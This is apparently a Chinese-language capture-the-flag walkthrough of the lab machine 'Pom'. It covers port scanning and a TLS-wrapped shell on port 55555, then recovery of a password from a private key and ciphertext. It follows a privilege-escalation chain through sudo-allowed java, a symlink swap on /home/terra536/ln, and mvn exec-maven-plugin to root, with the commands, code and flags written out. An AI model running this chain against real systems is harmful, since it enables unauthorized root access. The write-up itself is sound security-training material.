

Pom

主机发现

```
Welcome to Alpine Linux 6.12.74-0-lts on an x86_64 (/dev/tty1)
===== Made By =====

.d8888b.      888      888
d88P  Y88b    888      888
Y88b.        888      888
"Y888b.    888  888  88888b.  888  8888b.  888d888 .d88b.  .d88b.
    "Y88b.  888  888  888 "88b 888      "88b 888P"  d88P"88b d8P  Y8b
    "888 888  888  888 888 888 .d888888 888      888 888 88888888
Y88b  d88P Y88b 888 888 d88P 888 888 888 888  Y88b 888 Y8b.
"Y8888P"   "Y88888 88888P" 888 "Y888888 888      "Y88888 "Y8888
                                     888
                                     Y8b d88P
                                     "Y88P"

                                     @maze-sec.com
===== Happy Hacking! =====

Hostname : Pom
IP       : 192.168.43.75
Pom login: S
```

ip:192.168.43.75

端口扫描

```
nmap 192.168.43.75

(root@zss) - [/home/zss]
# nmap 192.168.43.75
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-03 15:39 CST
Nmap scan report for Pom (192.168.43.75)
Host is up (0.0060s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
55555/tcp  open  unknown

Nmap done: 1 IP address (1 host up) scanned in 11.79 seconds
```

开放端口：

- 22/tcp：SSH
- 80/tcp：HTTP

- 55555/tcp: 未知服务

详细扫描一下具体内容，发现55555端口是 TLS 包裹的交互式 shell

```
55555/tcp open  ssl/unknown
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings:
|   DNSStatusRequestTCP:
|     [?2004hsh-5.2$
|     [Jsh-5.2$
|   DNSVersionBindReqTCP:
|     [?2004hsh-5.2$ ^C
|     [?2004L
|     [?2004h
|     [?2004L
|     [?2004hsh-5.2$
|   GenericLines:
|     [?2004hsh-5.2$
|     [?2004L
|     [?2004hsh-5.2$
|     [?2004L
|     [?2004hsh-5.2$
|     [?2004L
|     [?2004hsh-5.2$
|     [?2004L
|     [?2004hsh-5.2$
|   GetRequest:
|     [?2004hsh-5.2$ GET / HTTP/1.0
|     [?2004L
|     GET: command not found
|     [?2004hsh-5.2$
|     [?2004L
|     [?2004hsh-5.2$
|     [?2004L
|     [?2004hsh-5.2$
|     [?2004L
|     [?2004hsh-5.2$
|   HTTPOptions:
|     OPTIONS / HTTP/1.0
|     [?2004hsh-5.2$ OPTIONS / HTTP/1.0
|     [?2004L
|     OPTIONS: command not found
|     [?2004hsh-5.2$
|     [?2004L
|     [?2004hsh-5.2$
|     [?2004L
|     [?2004hsh-5.2$
|     [?2004L
|     [?2004hsh-5.2$
|   Help:
|     HELP
|     [?2004hsh-5.2$ HELP
|     [?2004L
|     HELP: command not found
```

OpenSSL 客户端登录55555 端口

用 openssl s_client 建立 TLS 连接

```
openssl s_client -quiet -connect 192.168.43.75:55555
id
pwd
ls /home
```

```

(root@zss)-[/home/zss]
# openssl s_client -quiet -connect 192.168.43.75:55555
Connecting to 192.168.43.75
Can't use SSL_get_servername
depth=0 C=US, ST=State, L=City, O=Maven, OU=Proxy, CN=localhost
verify error:num=18:self-signed certificate
verify return:1
depth=0 C=US, ST=State, L=City, O=Maven, OU=Proxy, CN=localhost
verify return:1
sh-5.2$ id
id
uid=1000(mav1234) gid=1000(mav1234) groups=1000(mav1234)
sh-5.2$ pwd
pwd
/home/mav1234
sh-5.2$ ls /home
ls /home
mav1234  qc2000  terra536
sh-5.2$ 

```

当前用户是mav1234，其他用户有qc2000和terra536

从这个现象可以确认：

1. 55555 不是正常 Web 服务。
2. 它背后直接连着一个 `sh-5.2` 交互环境。
3. 当前初始身份就是普通用户 `mav1234`。

获取 user flag

```

cd /home/mav1234
ls -la
cat user.txt

```

```

sh-5.2$ cd /home/mav1234
cd /home/mav1234
sh-5.2$ ls -la
ls -la
total 20
drwx----- 3 mav1234  mav1234    4096 Feb 26 15:52 .
drwxr-xr-x  5 root    root      4096 Feb 26 15:25 ..
lrwxrwxrwx  1 root    mav1234     9 Feb 26 15:34 .bash_history -> /dev/null
drwxr-sr-x  2 mav1234  mav1234   4096 Feb 26 15:48 .local
-rw-r--r--  1 mav1234  mav1234    97 Feb 26 15:52 journal
-rw-r--r--  1 root    mav1234    44 Feb 26 15:31 user.txt
sh-5.2$ cat user.txt
cat user.txt
flag{user-f823e147843dd5b23f0ac9d243ae12fb}
sh-5.2$ 

```

user flag

```
flag{user-f823e147843dd5b23f0ac9d243ae12fb}
```

journal文件比较可疑，看一下里面的内容

```
sh-5.2$ cat journal
cat journal
I've encrypted my secret with my key. No one else can read it now. It's safely hidden away:)
sh-5.2$
```

I've encrypted my secret with my key. No one else can read it now. It's safely hidden away:)

给了很清晰的提示：mav1234 的密码被自己的私钥加密后藏起来了，所以现在应该去找私钥文件和密文文件

解密得到 mav1234 的 sudo 密码

继续查看 .local 文件夹

```
ls -la /home/mav1234/.local
```

```
sh-5.2$ ls -la /home/mav1234/.local
ls -la /home/mav1234/.local
total 20
drwxr-sr-x  2 mav1234  mav1234    4096 Feb 26 15:48 .
drwx----- 3 mav1234  mav1234    4096 Feb 26 15:52 ..
-rw-r--r--  1 mav1234  mav1234     512 Feb 26 15:48 maven.meta
-rw-----  1 mav1234  mav1234   5285 Feb 26 15:20 ssl.pem
sh-5.2$
```

ssl.pem：权限是 -rw-----，说明这是只允许用户自己读的敏感文件，猜测是私钥

maven.meta：meta是“元数据”的意思，再结合前面 journal的提示，猜测是密文

利用私钥和密文进行解密

```
cd .local
openssl pkeyutl -decrypt -inkey ssl.pem -in maven.meta
```

```
sh-5.2$ cd .local
cd .local
sh-5.2$ openssl pkeyutl -decrypt -inkey ssl.pem -in maven.meta
openssl pkeyutl -decrypt -inkey ssl.pem -in maven.meta
MvxPf8yCB8lxXk5Ash-5.2$
```

成功得到mav1234的密码：

```
MvxPf8yCB8lxXk5A
```

下一步直接拿它验证 sudo -l。

mav1234 -> qc2000

验证 sudo -l

```

sh-5.2$ sudo -l
sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

For security reasons, the password you type will not be visible.

[sudo] password for mav1234: MvxPf8yCB8LxXk5A
Matching Defaults entries for mav1234 on Pom:

    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for mav1234:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User mav1234 may run the following commands on Pom:
    (qc2000) PASSWD: /usr/bin/java
sh-5.2$ 

```

User mav1234 may run the following commands on Pom:
(qc2000) PASSWD: /usr/bin/java

提取链：用户 mav1234 可以在这台机器 Pom 上，通过 sudo 以 qc2000 的身份运行 /usr/bin/java
随后写一个A.java脚本，进到 qc2000 的交互环境里：

```

public class A {
    public static void main(String[] args) throws Exception {
        new ProcessBuilder("/bin/bash", "-p", "-i")
            .inheritIO()
            .start()
            .waitFor();
    }
}

```

```
sudo -u qc2000 /usr/bin/java /tmp/A.java
```

```

Pom:/home$ id
id
uid=1001(qc2000) gid=1001(qc2000) groups=1001(qc2000)
Pom:/home$ sudo -l
sudo -l
Matching Defaults entries for qc2000 on Pom:

    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for qc2000:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User qc2000 may run the following commands on Pom:
    (terra536) NOPASSWD: /home/terra536/ln
Pom:/home$ 

```

- mav1234 -> qc2000
- qc2000 可以无密码执行 /home/terra536/ln

qc2000 -> terra536

sudoers 只允许执行这个路径: /home/terra536/ln, 不在乎这个路径下面原本是什么程序, 只看路径名。

所以如果能把这个文件改成指向 /bin/sh 的链接, 后面再执行同一路径时, sudo 就会把它当成 shell 来跑, 而不是 ln

```
sudo -n -u terra536 /home/terra536/ln -sf /bin/sh /home/terra536/ln
```

```
sudo -n -u terra536 /home/terra536/ln -c 'id'
```

```
sudo -n -u terra536 /home/terra536/ln -c 'sudo -l'
```

```
Pom:/home$ sudo -n -u terra536 /home/terra536/ln -sf /bin/sh /home/terra536/ln
sudo -n -u terra536 /home/terra536/ln -sf /bin/sh /home/terra536/ln
Pom:/home$ sudo -n -u terra536 /home/terra536/ln -c 'id'
sudo -n -u terra536 /home/terra536/ln -c 'id'
uid=1002(terra536) gid=1002(terra536) groups=1002(terra536)
Pom:/home$ sudo -n -u terra536 /home/terra536/ln -c 'sudo -l'
sudo -n -u terra536 /home/terra536/ln -c 'sudo -l'
Matching Defaults entries for terra536 on Pom:

    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for terra536:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User terra536 may run the following commands on Pom:
    (ALL) NOPASSWD: /usr/bin/mvn
Pom:/home$
```

- qc2000 -> terra536
- terra536 可无密码执行/usr/bin/mvn

terra536 -> root

拿到 terra536 后, 最后的root提权链已经很清晰了, 利用Maven 执行任意代码

```
(ALL) NOPASSWD: /usr/bin/mvn
```

```
rootread.sh
```

```
#!/bin/sh
id
cat /root/root.txt
```

```
pom.xml
```

```
<project xmlns="http://maven.apache.org/POM/4.0.0"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
    https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>local</groupId>
  <artifactId>tmp</artifactId>
  <version>1.0</version>
</project>
```

然后通过 Maven `exec-maven-plugin` 执行脚本：

```
sudo mvn -q -f /tmp/pom.xml \
  -Dexec.executable=/tmp/rootread.sh \
  org.codehaus.mojo:exec-maven-plugin:3.1.0:exec
```

拿到 root 权限以及 root flag：

```
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
flag{root-4a29b2f65b40052a804c0cc4afb906bd}
```

```
flag{root-4a29b2f65b40052a804c0cc4afb906bd}
```

总结

1. 扫描发现 `22/80/55555` 开放。
2. 进一步扫描发现 `55555` 是一个经 TLS 封装的交互式 shell。
3. 直接在该 shell 中取得初始用户 `mav1234`，读取 `user.txt`。
4. 从 `journal` 和 `ssl.pem + maven.meta` 中恢复 `mav1234` 的 sudo 密码。
5. `mav1234` 可通过 `sudo` 以 `qc2000` 身份运行 `/usr/bin/java`。
6. 利用 Java 单文件源码执行，以 `qc2000` 身份获得命令执行，并确认其可无密码执行 `/home/terra536/ln`。
7. 将 `/home/terra536/ln` 重链接到 `/bin/sh`，再以 `terra536` 身份直接执行该路径，获得 `terra536` shell。
8. `terra536` 可 `NOPASSWD` 运行 `/usr/bin/mvn`，通过最小 `pom.xml` 和 `exec-maven-plugin` 以 `root` 身份执行本地脚本，读取 `root.txt`。